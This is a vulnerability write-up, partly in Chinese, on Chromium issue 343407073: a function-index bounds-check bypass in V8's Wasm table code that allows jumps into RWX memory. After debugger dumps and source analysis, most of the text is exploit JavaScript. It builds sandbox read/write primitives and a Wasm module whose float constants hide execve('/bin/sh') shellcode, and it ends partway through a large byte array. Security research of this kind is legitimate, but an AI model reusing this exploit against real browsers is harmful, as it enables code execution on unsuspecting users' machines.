Chromium Issue 343407073 analysis

Chromium Issue 343407073 analysis --- 先看一下 Wasm Object 在 memory 裡面長怎樣 https://issues.chromium.org/issues/343407073 ```js= var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); let wasm_mod = new WebAssembly.Module(wasm_code); let wasm_instance = new WebAssembly.Instance(wasm_mod); var f_main = wasm_instance.exports.main; f_main(); %DebugPrint(wasm_instance.exports.main); %SystemBreak(); ``` 爬過一次後發現 WasmExportedFunctionData 不會直接存 WasmInteralFunction 的 pointer，而是存 WasmFuncRef 的 pointer。WasmFuncRef 裡面會有 WasmInteralFunction Object 的 address，而 WasmInteralFunction 裡面會有 WasmExportFunction 的資訊 ![image](https://hackmd.io/_uploads/SydZEsRTA.png) ```js= DebugPrint: 0x276f00199961: [Function] in OldSpace - map: 0x276f00192111 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x276f00181db9 <JSFunction (sfi = 0x276f0014188d)> - elements: 0x276f00000725 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x276f00199931 <SharedFunctionInfo js-to-wasm::i> - name: 0x276f00002809 <String[1]: #0> - builtin: JSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x276f00181729 <NativeContext[291]> - code: 0x276f0003bcc5 <Code BUILTIN JSToWasmWrapper> - Wasm instance: 0x276f0019981d <Instance map = 0x276f0018ef79> - Wasm function index: 0 - properties: 0x276f00000725 <FixedArray[0]> - All own properties (excluding elements): { 0x276f00000d99: [String] in ReadOnlySpace: #length: 0x276f00287c35 <AccessorInfo name= 0x276f00000d99 <String[6]: #length>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor 0x276f00000dc5: [String] in ReadOnlySpace: #name: 0x276f00287c1d <AccessorInfo name= 0x276f00000dc5 <String[4]: #name>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor 0x276f0000423d: [String] in ReadOnlySpace: #arguments: 0x276f00287bed <AccessorInfo name= 0x276f0000423d <String[9]: #arguments>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor 0x276f000044d1: [String] in ReadOnlySpace: #caller: 0x276f00287c05 <AccessorInfo name= 0x276f000044d1 <String[6]: #caller>, data= 0x276f00000069 <undefined>> (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI gef➤ job 0x276f00199931 0x276f00199931: [SharedFunctionInfo] in OldSpace - map: 0x276f00000d39 <Map[48](SHARED_FUNCTION_INFO_TYPE)> - name: 0x276f00002809 <String[1]: #0> - kind: NormalFunction - syntax kind: AnonymousExpression - function_map_index: 211 - formal_parameter_count: 0 - expected_nof_properties: 0 - language_mode: sloppy - function_data: 0x276f00199905 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)> - code (from function_data): 0x276f0003bcc5 <Code BUILTIN JSToWasmWrapper> - script: 0x276f0019971d <Script> - function token position: 88 - start position: 88 - end position: 92 - scope info: 0x276f00000ec9 <ScopeInfo> - length: 0 - feedback_metadata: <none> - function_literal_id: -1 - unique_id: 824 - age: 0 gef➤ job 0x276f00199905 0x276f00199905: [WasmExportedFunctionData] in OldSpace - map: 0x276f00001e25 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)> - func_ref: 0x276f001998fd <Other heap object (WASM_FUNC_REF_TYPE)> - wrapper_code: 0x276f0003bcc5 <Code BUILTIN JSToWasmWrapper> - js_promise_flags: 0 - instance: 0x276f0019981d <Instance map = 0x276f0018ef79> - function_index: 0 - signature: 0x555557da33b0 - wrapper_budget: 999 gef➤ job 0x276f001998fd 0x276f001998fd: [WasmFuncRef] in OldSpace - map: 0x276f00199899 <Map[8](WASM_FUNC_REF_TYPE)> - internal: 0x15b9000401e1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)> gef➤ job 0x15b9000401e1 0x15b9000401e1: [WasmInternalFunction] - map: 0x276f00001e4d <Map[28](WASM_INTERNAL_FUNCTION_TYPE)> - call target: 0x35c9a7905000 - ref: 0x15b900040111 <Other heap object (WASM_TRUSTED_INSTANCE_DATA_TYPE)> - external: 0x276f00199961 <JSFunction js-to-wasm::i (sfi = 0x276f00199931)> ``` ```js= let wasm_code_0 = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7d, 0x03, 0x02, 0x01, 0x00, 0x07, 0x0c, 0x01, 0x08, 0x69, 0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x00, 0x00, 0x0a, 0x09, 0x01, 0x07, 0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b ]); let wasm_mod_0 = new WebAssembly.Module(wasm_code_0); let wasm_instance_0 = new WebAssembly.Instance(wasm_mod_0); indirect = wasm_instance_0.exports.indirect; ``` The vuln is located at WasmTableObject::SetFunctionTableEntry It gets wasm_function via function index and calls UpdateDispatchTables ```cpp= void WasmTableObject::SetFunctionTableEntry(Isolate* isolate, Handle<WasmTableObject> table, int entry_index, Handle<Object> entry) { ... DCHECK(IsWasmFuncRef(*entry)); Handle<Object> external = WasmInternalFunction::GetOrCreateExternal( handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate)); if (WasmExportedFunction::IsWasmExportedFunction(*external)) { auto exported_function = Handle<WasmExportedFunction>::cast(external); [1] Handle<WasmTrustedInstanceData> target_instance_data( exported_function->instance()->trusted_data(isolate), isolate); int func_index = exported_function->function_index(); const WasmModule* module = target_instance_data->module(); SBXCHECK_LT(func_index, module->functions.size()); auto* wasm_function = module->functions.data() + func_index; [2] UpdateDispatchTables(isolate, table, entry_index, wasm_function, target_instance_data); } ... } ``` In UpdateDispatchTables, the function get call_target (which is located at a rwx memory region) via function index ```cpp= void WasmTableObject::UpdateDispatchTables( Isolate* isolate, Handle<WasmTableObject> table, int entry_index, const wasm::WasmFunction* func, Handle<WasmTrustedInstanceData> target_instance_data) { ... Address call_target = target_instance_data->GetCallTarget(func- >func_index);[3] ... Tagged<WasmTrustedInstanceData> instance_data = instance_object->trusted_data(isolate); instance_data->dispatch_table(table_index) ->Set(entry_index, *call_ref, call_target, sig_id);[4] } } ``` ```cpp= Address WasmTrustedInstanceData::GetCallTarget(uint32_t func_index) { wasm::NativeModule* native_module = this->native_module(); SBXCHECK_LT(func_index, native_module->num_functions()); ... return jump_table_start() + JumpTableOffset(native_module->module(), func_index); [5] } ``` So, if we control function idx, we control call_target. If we control call_target, we can jump anywhere in rwx memory region. If we directly modify func_idx via V8 memory_corruption_api, we will see the following message. ``` # # Safely terminating process due to error in ../../src/wasm/wasm-objects.cc, line 293 # The following harmless error was encountered: Check failed: func_index < module->functions.size() (401 vs. 1). ``` which is due to the following check. It get the size of functions (which is a vector) via wasm module. func_idx was located at WasmExportedFunctionData object, not at wasm module object. So we can 1. create another wasm_module, which contains a lot of function. 2. use V8 memory_corruption_api to change WasmModule field in WasmInstance to bypass the check. ```cpp= SBXCHECK_LT(func_index, module->functions.size()); ``` we can jump anywhere in wasm rwx memory now! How to get code execution? There is a fun fact that TurboFan JIT compiles immediate numbers (such as floats) into movabs <reg>, <val> instructions - we can use this to place small pockets of shellcode in executable memory.![image](https://hackmd.io/_uploads/r1B70ChJ1g.png) ![image](https://hackmd.io/_uploads/SkYHACnkJl.png) we can generate our shellcode and put it into wasm memory. ``` function ToHex(big_int){ return "0x" + big_int.toString(16); } function smi(i) { return i << 1n; } let sandboxMemory = new DataView(new Sandbox.MemoryView(0, 0x100000000)); function addrOf(obj) { return Sandbox.getAddressOf(obj); } function v8_read64(addr) { return sandboxMemory.getBigUint64(Number(addr), true); } function v8_write64(addr, val) { return sandboxMemory.setBigInt64(Number(addr), val, true); } const rtb = new WebAssembly.Table({ initial: 1, element: "anyfunc", maximum: 10 }); const importObject = { env: { rtb } }; let wasm_code_0 = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x00, 0x01, 0x7c, 0x60, 0x00, 0x01, 0x7d, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x14, 0x02, 0x05, 0x73, 0x70, 0x72, 0x61, 0x79, 0x00, 0x00, 0x08, 0x69, 0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x00, 0x01, 0x0a, 0x5b, 0x02, 0x51, 0x00, 0x44, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x07, 0x44, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x5b, 0xeb, 0x07, 0x44, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x59, 0xeb, 0x07, 0x44, 0x48, 0xc1, 0xe3, 0x20, 0x90, 0x90, 0xeb, 0x07, 0x44, 0x48, 0x01, 0xcb, 0x53, 0x90, 0x90, 0xeb, 0x07, 0x44, 0x48, 0x89, 0xe7, 0x6a, 0x3b, 0x58, 0xeb, 0x07, 0x44, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0xeb, 0x07, 0x44, 0x0f, 0x05, 0x90, 0x90, 0x90, 0x90, 0xeb, 0x07, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x1a, 0x0b, 0x07, 0x00, 0x43, 0x8f, 0xc2, 0x75, 0x3c, 0x0b ]); let wasm_mod_0 = new WebAssembly.Module(wasm_code_0); let wasm_instance_0 = new WebAssembly.Instance(wasm_mod_0); let wasm_code_1 = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x0a, 0x02, 0x60, 0x00, 0x01, 0x7d, 0x60, 0x01, 0x7d, 0x01, 0x7d, 0x02, 0x0d, 0x01, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x72, 0x74, 0x62, 0x01, 0x70, 0x00, 0x01, 0x03, 0x02, 0x01, 0x01, 0x07, 0x0b, 0x01, 0x07, 0x65, 0x78, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x00, 0x00, 0x0a, 0x0c, 0x01, 0x0a, 0x00, 0x41, 0x00, 0x11, 0x00, 0x00, 0x20, 0x00, 0x94, 0x0b]); let wasm_mod_1 = new WebAssembly.Module(wasm_code_1); let wasm_instance_1 = new WebAssembly.Instance(wasm_mod_1, importObject); let wasm_code_2 = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60, 0x00, 0x00, 0x60, 0x00, 0x01, 0x7d, 0x03, 0x94, 0x03, 0x92, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0xa4, 0x17, 0x92, 0x03, 0x02, 0x66, 0x30, 0x00, 0x00, 0x02, 0x66, 0x31, 0x00, 0x01, 0x02, 0x66, 0x32, 0x00, 0x02, 0x02, 0x66, 0x33, 0x00, 0x03, 0x02, 0x66, 0x34, 0x00, 0x04, 0x02, 0x66, 0x35, 0x00, 0x05, 0x02, 0x66, 0x36, 0x00, 0x06, 0x02, 0x66, 0x37, 0x00, 0x07, 0x02, 0x66, 0x38, 0x00, 0x08, 0x02, 0x66, 0x39, 0x00, 0x09, 0x03, 0x66, 0x31, 0x30, 0x00, 0x0a, 0x03, 0x66, 0x31, 0x31, 0x00, 0x0b, 0x03, 0x66, 0x31, 0x32, 0x00, 0x0c, 0x03, 0x66, 0x31, 0x33, 0x00, 0x0d, 0x03, 0x66, 0x31, 0x34, 0x00, 0x0e, 0x03, 0x66, 0x31, 0x35, 0x00, 0x0f, 0x03, 0x66, 0x31, 0x36, 0x00, 0x10, 0x03, 0x66, 0x31, 0x37, 0x00, 0x11, 0x03, 0x66, 0x31, 0x38, 0x00, 0x12, 0x03, 0x66, 0x31, 0x39, 0x00, 0x13, 0x03, 0x66, 0x32, 0x30, 0x00, 0x14, 0x03, 0x66, 0x32, 0x31, 0x00, 0x15, 0x03, 0x66, 0x32, 0x32, 0x00, 0x16, 0x03, 0x66, 0x32, 0x33, 0x00, 0x17, 0x03, 0x66, 0x32, 0x34, 0x00, 0x18, 0x03, 0x66, 0x32, 0x35, 0x00, 0x19, 0x03, 0x66, 0x32, 0x36, 0x00, 0x1a, 0x03, 0x66, 0x32, 0x37, 0x00, 0x1b, 0x03, 0x66, 0x32, 0x38, 0x00, 0x1c, 0x03, 0x66, 0x32, 0x39, 0x00, 0x1d, 0x03, 0x66, 0x33, 0x30, 0x00, 0x1e, 0x03, 0x66, 0x33, 0x31, 0x00, 0x1f, 0x03, 0x66, 0x33, 0x32, 0x00, 0x20, 0x03, 0x66, 0x33, 0x33, 0x00, 0x21, 0x03, 0x66, 0x33, 0x34, 0x00, 0x22, 0x03, 0x66, 0x33, 0x35, 0x00, 0x23, 0x03, 0x66, 0x33, 0x36, 0x00, 0x24, 0x03, 0x66, 0x33, 0x37, 0x00, 0x25, 0x03, 0x66, 0x33, 0x38, 0x00, 0x26, 0x03, 0x66, 0x33, 0x39, 0x00, 0x27, 0x03, 0x66, 0x34, 0x30, 0x00, 0x28, 0x03, 0x66, 0x34, 0x31, 0x00, 0x29, 0x03, 0x66, 0x34, 0x32, 0x00, 0x2a, 0x03, 0x66, 0x34, 0x33, 0x00, 0x2b, 0x03, 0x66, 0x34, 0x34, 0x00, 0x2c, 0x03, 0x66, 0x34, 0x35, 0x00, 0x2d, 0x03, 0x66, 0x34, 0x36, 0x00, 0x2e, 0x03, 0x66, 0x34, 0x37, 0x00, 0x2f, 0x03, 0x66, 0x34, 0x38, 0x00, 0x30, 0x03, 0x66, 0x34, 0x39, 0x00, 0x31, 0x03, 0x66, 0x35, 0x30, 0x00, 0x32, 0x03, 0x66, 0x35, 0x31, 0x00, 0x33, 0x03, 0x66, 0x35, 0x32, 0x00, 0x34, 0x03, 0x66, 0x35, 0x33, 0x00, 0x35, 0x03, 0x66, 0x35, 0x34, 0x00, 0x36, 0x03, 0x66, 0x35, 0x35, 0x00, 0x37, 0x03, 0x66, 0x35, 0x36, 0x00, 0x38, 0x03, 0x66, 0x35, 0x37, 0x00, 0x39, 0x03, 0x66, 0x35, 0x38, 0x00, 0x3a, 0x03, 0x66, 0x35, 0x39, 0x00, 0x3b, 0x03, 0x66, 0x36, 0x30, 0x00, 0x3c, 0x03, 0x66, 0x36, 0x31, 0x00, 0x3d, 0x03, 0x66, 0x36, 0x32, 0x00, 0x3e, 0x03, 0x66, 0x36, 0x33, 0x00, 0x3f, 0x03, 0x66, 0x36, 0x34, 0x00, 0x40, 0x03, 0x66, 0x36, 0x35, 0x00, 0x41, 0x03, 0x66, 0x36, 0x36, 0x00, 0x42, 0x03, 0x66, 0x36, 0x37, 0x00, 0x43, 0x03, 0x66, 0x36, 0x38, 0x00, 0x44, 0x03, 0x66, 0x36, 0x39, 0x00, 0x45, 0x03, 0x66, 0x37, 0x30, 0x00, 0x46, 0x03, 0x66, 0x37, 0x31, 0x00, 0x47, 0x03, 0x66, 0x37, 0x32, 0x00, 0x48, 0x03, 0x66, 0x37, 0x33, 0x00, 0x49, 0x03, 0x66, 0x37, 0x34, 0x00, 0x4a, 0x03, 0x66, 0x37, 0x35, 0x00, 0x4b, 0x03, 0x66, 0x37, 0x36, 0x00, 0x4c, 0x03, 0x66, 0x37, 0x37, 0x00, 0x4d, 0x03, 0x66, 0x37, 0x38, 0x00, 0x4e, 0x03, 0x66, 0x37, 0x39, 0x00, 0x4f, 0x03, 0x66, 0x38, 0x30, 0x00, 0x50, 0x03, 0x66, 0x38, 0x31, 0x00, 0x51, 0x03, 0x66, 0x38, 0x32, 0x00, 0x52, 0x03, 0x66, 0x38, 0x33, 0x00, 0x53, 0x03, 0x66, 0x38, 0x34, 0x00, 0x54, 0x03, 0x66, 0x38, 0x35, 0x00, 0x55, 0x03, 0x66, 0x38, 0x36, 0x00, 0x56, 0x03, 0x66, 0x38, 0x37, 0x00, 0x57, 0x03, 0x66, 0x38, 0x38, 0x00, 0x58, 0x03, 0x66, 0x38, 0x39, 0x00, 0x59, 0x03, 0x66, 0x39, 0x30, 0x00, 0x5a, 0x03, 0x66, 0x39, 0x31, 0x00, 0x5b, 0x03, 0x66, 0x39, 0x32, 0x00, 0x5c, 0x03, 0x66, 0x39, 0x33, 0x00, 0x5d, 0x03, 0x66, 0x39, 0x34, 0x00, 0x5e, 0x03, 0x66, 0x39, 0x35, 0x00, 0x5f, 0x03, 0x66, 0x39, 0x36, 0x00, 0x60, 0x03, 0x66, 0x39, 0x37, 0x00, 0x61, 0x03, 0x66, 0x39, 0x38, 0x00, 0x62, 0x03, 0x66, 0x39, 0x39, 0x00, 0x63, 0x04, 0x66, 0x31, 0x30, 0x30, 0x00, 0x64, 0x04, 0x66, 0x31, 0x30, 0x31, 0x00, 0x65, 0x04, 0x66, 0x31, 0x30, 0x32, 0x00, 0x66, 0x04, 0x66, 0x31, 0x30, 0x33, 0x00, 0x67, 0x04, 0x66, 0x31, 0x30, 0x34, 0x00, 0x68, 0x04, 0x66, 0x31, 0x30, 0x35, 0x00, 0x69, 0x04, 0x66, 0x31, 0x30, 0x36, 0x00, 0x6a, 0x04, 0x66, 0x31, 0x30, 0x37, 0x00, 0x6b, 0x04, 0x66, 0x31, 0x30, 0x38, 0x00, 0x6c, 0x04, 0x66, 0x31, 0x30, 0x39, 0x00, 0x6d, 0x04, 0x66, 0x31, 0x31, 0x30, 0x00, 0x6e, 0x04, 0x66, 0x31, 0x31, 0x31, 0x00, 0x6f, 0x04, 0x66, 0x31, 0x31, 0x32, 0x00, 0x70, 0x04, 0x66, 0x31, 0x31, 0x33, 0x00, 0x71, 0x04, 0x66, 0x31, 0x31, 0x34, 0x00, 0x72, 0x04, 0x66, 0x31, 0x31, 0x35, 0x00, 0x73, 0x04, 0x66, 0x31, 0x31, 0x36, 0x00, 0x74, 0x04, 0x66, 0x31, 0x31, 0x37, 0x00, 0x75, 0x04, 0x66, 0x31, 0x31, 0x38, 0x00, 0x76, 0x04, 0x66, 0x31, 0x31, 0x39, 0x00, 0x77, 0x04, 0x66, 0x31, 0x32, 0x30, 0x00, 0x78, 0x04, 0x66, 0x31, 0x32, 0x31, 0x00, 0x79, 0x04, 0x66, 0x31, 0x32, 0x32, 0x00, 0x7a, 0x04, 0x66, 0x31, 0x32, 0x33, 0x00, 0x7b, 0x04, 0x66, 0x31, 0x32, 0x34, 0x00, 0x7c, 0x04, 0x66, 0x31, 0x32, 0x35, 0x00, 0x7d, 0x04, 0x66, 0x31, 0x32, 0x36, 0x00, 0x7e, 0x04, 0x66, 0x31, 0x32, 0x37, 0x00, 0x7f, 0x04, 0x66, 0x31, 0x32, 0x38, 0x00, 0x80, 0x01, 0x04, 0x66, 0x31, 0x32, 0x39, 0x00, 0x81, 0x01, 0x04, 0x66, 0x31, 0x33, 0x30, 0x00, 0x82, 0x01, 0x04, 0x66, 0x31, 0x33, 0x31, 0x00, 0x83, 0x01, 0x04, 0x66, 0x31, 0x33, 0x32, 0x00, 0x84, 0x01, 0x04, 0x66, 0x31, 0x33, 0x33, 0x00, 0x85, 0x01, 0x04, 0x66, 0x31, 0x33, 0x34, 0x00, 0x86, 0x01, 0x04, 0x66, 0x31, 0x33, 0x35, 0x00, 0x87, 0x01, 0x04, 0x66, 0x31, 0x33, 0x36, 0x00, 0x88, 0x01, 0x04, 0x66, 0x31, 0x33, 0x37, 0x00, 0x89, 0x01, 0x04, 0x66, 0x31, 0x33, 0x38, 0x00, 0x8a, 0x01, 0x04, 0x66, 0x31, 0x33, 0x39, 0x00, 0x8b, 0x01, 0x04, 0x66, 0x31, 0x34, 0x30, 0x00, 0x8c, 0x01, 0x04, 0x66, 0x31, 0x34, 0x31, 0x00, 0x8d, 0x01, 0x04, 0x66, 0x31, 0x34, 0x32, 0x00, 0x8e, 0x01, 0x04, 0x66, 0x31, 0x34, 0x33, 0x00, 0x8f, 0x01, 0x04, 0x66, 0x31, 0x34, 0x34, 0x00, 0x90, 0x01, 0x04, 0x66, 0x31, 0x34, 0x35, 0x00, 0x91, 0x01, 0x04, 0x66, 0x31, 0x34, 0x36, 0x00, 0x92, 0x01, 0x04, 0x66, 0x31, 0x34, 0x37, 0x00, 0x93, 0x01, 0x04, 0x66, 0x31, 0x34, 0x38, 0x00, 0x94, 0x01, 0x04, 0x66, 0x31, 0x34, 0x39, 0x00, 0x95, 0x01, 0x04, 0x66, 0x31, 0x35, 0x30, 0x00, 0x96, 0x01, 0x04, 0x66, 0x31, 0x35, 0x31, 0x00, 0x97, 0x01, 0x04, 0x66, 0x31, 0x35, 0x32, 0x00, 0x98, 0x01, 0x04, 0x66, 0x31, 0x35, 0x33, 0x00, 0x99, 0x01, 0x04, 0x66, 0x31, 0x35, 0x34, 0x00, 0x9a, 0x01, 0x04, 0x66, 0x31, 0x35, 0x35, 0x00, 0x9b, 0x01, 0x04, 0x66, 0x31, 0x35, 0x36, 0x00, 0x9c, 0x01, 0x04, 0x66, 0x31, 0x35, 0x37, 0x00, 0x9d, 0x01, 0x04, 0x66, 0x31, 0x35, 0x38, 0x00, 0x9e, 0x01, 0x04, 0x66, 0x31, 0x35, 0x39, 0x00, 0x9f, 0x01, 0x04, 0x66, 0x31, 0x36, 0x30, 0x00, 0xa0, 0x01, 0x04, 0x66, 0x31, 0x36, 0x31, 0x00, 0xa1, 0x01, 0x04, 0x66, 0x31, 0x36, 0x32, 0x00, 0xa2, 0x01, 0x04, 0x66, 0x31, 0x36, 0x33, 0x00, 0xa3, 0x01, 0x04, 0x66, 0x31, 0x36, 0x34, 0x00, 0xa4, 0x01, 0x04, 0x66, 0x31, 0x36, 0x35, 0x00, 0xa5, 0x01, 0x04, 0x66, 0x31, 0x36, 0x36, 0x00, 0xa6, 0x01, 0x04, 0x66, 0x31, 0x36, 0x37, 0x00, 0xa7, 0x01, 0x04, 0x66, 0x31, 0x36, 0x38, 0x00, 0xa8, 0x01, 0x04, 0x66, 0x31, 0x36, 0x39, 0x00, 0xa9, 0x01, 0x04, 0x66, 0x31, 0x37, 0x30, 0x00, 0xaa, 0x01, 0x04, 0x66, 0x31, 0x37, 0x31, 0x00, 0xab, 0x01, 0x04, 0x66, 0x31, 0x37, 0x32, 0x00, 0xac, 0x01, 0x04, 0x66, 0x31, 0x37, 0x33, 0x00, 0xad, 0x01, 0x04, 0x66, 0x31, 0x37, 0x34, 0x00, 0xae, 0x01, 0x04, 0x66, 0x31, 0x37, 0x35, 0x00, 0xaf, 0x01, 0x04, 0x66, 0x31, 0x37, 0x36, 0x00, 0xb0, 0x01, 0x04, 0x66, 0x31, 0x37, 0x37, 0x00, 0xb1, 0x01, 0x04, 0x66, 0x31, 0x37, 0x38, 0x00, 0xb2, 0x01, 0x04, 0x66, 0x31, 0x37, 0x39, 0x00, 0xb3, 0x01, 0x04, 0x66, 0x31, 0x38, 0x30, 0x00, 0xb4, 0x01, 0x04, 0x66, 0x31, 0x38, 0x31, 0x00, 0xb5, 0x01, 0x04, 0x66, 0x31, 0x38, 0x32, 0x00, 0xb6, 0x01, 0x04, 0x66, 0x31, 0x38, 0x33, 0x00, 0xb7, 0x01, 0x04, 0x66, 0x31, 0x38, 0x34, 0x00, 0xb8, 0x01, 0x04, 0x66, 0x31, 0x38, 0x35, 0x00, 0xb9, 0x01, 0x04, 0x66, 0x31, 0x38, 0x36, 0x00, 0xba, 0x01, 0x04, 0x66, 0x31, 0x38, 0x37, 0x00, 0xbb, 0x01, 0x04, 0x66, 0x31, 0x38, 0x38, 0x00, 0xbc, 0x01, 0x04, 0x66, 0x31, 0x38, 0x39, 0x00, 0xbd, 0x01, 0x04, 0x66, 0x31, 0x39, 0x30, 0x00, 0xbe, 0x01, 0x04, 0x66, 0x31, 0x39, 0x31, 0x00, 0xbf, 0x01, 0x04, 0x66, 0x31, 0x39, 0x32, 0x00, 0xc0, 0x01, 0x04, 0x66, 0x31, 0x39, 0x33, 0x00, 0xc1, 0x01, 0x04, 0x66, 0x31, 0x39, 0x34, 0x00, 0xc2, 0x01, 0x04, 0x66, 0x31, 0x39, 0x35, 0x00, 0xc3, 0x01, 0x04, 0x66, 0x31, 0x39, 0x36, 0x00, 0xc4, 0x01, 0x04, 0x66, 0x31, 0x39, 0x37, 0x00, 0xc5, 0x01, 0x04, 0x66, 0x31, 0x39, 0x38, 0x00, 0xc6, 0x01, 0x04, 0x66, 0x31, 0x39, 0x39, 0x00, 0xc7, 0x01, 0x04, 0x66, 0x32, 0x30, 0x30, 0x00, 0xc8, 0x01, 0x04, 0x66, 0x32, 0x30, 0x31, 0x00, 0xc9, 0x01, 0x04, 0x66, 0x32, 0x30, 0x32, 0x00, 0xca, 0x01, 0x04, 0x66, 0x32, 0x30, 0x33, 0x00, 0xcb, 0x01, 0x04, 0x66, 0x32, 0x30, 0x34, 0x00, 0xcc, 0x01, 0x04, 0x66, 0x32, 0x30, 0x35, 0x00, 0xcd, 0x01, 0x04, 0x66, 0x32, 0x30, 0x36, 0x00, 0xce, 0x01, 0x04, 0x66, 0x32, 0x30, 0x37, 0x00, 0xcf, 0x01, 0x04, 0x66, 0x32, 0x30, 0x38, 0x00, 0xd0, 0x01, 0x04, 0x66, 0x32, 0x30, 0x39, 0x00, 0xd1, 0x01, 0x04, 0x66, 0x32, 0x31, 0x30, 0x00, 0xd2, 0x01, 0x04, 0x66, 0x32, 0x31, 0x31, 0x00, 0xd3, 0x01, 0x04, 0x66, 0x32, 0x31, 0x32, 0x00, 0xd4, 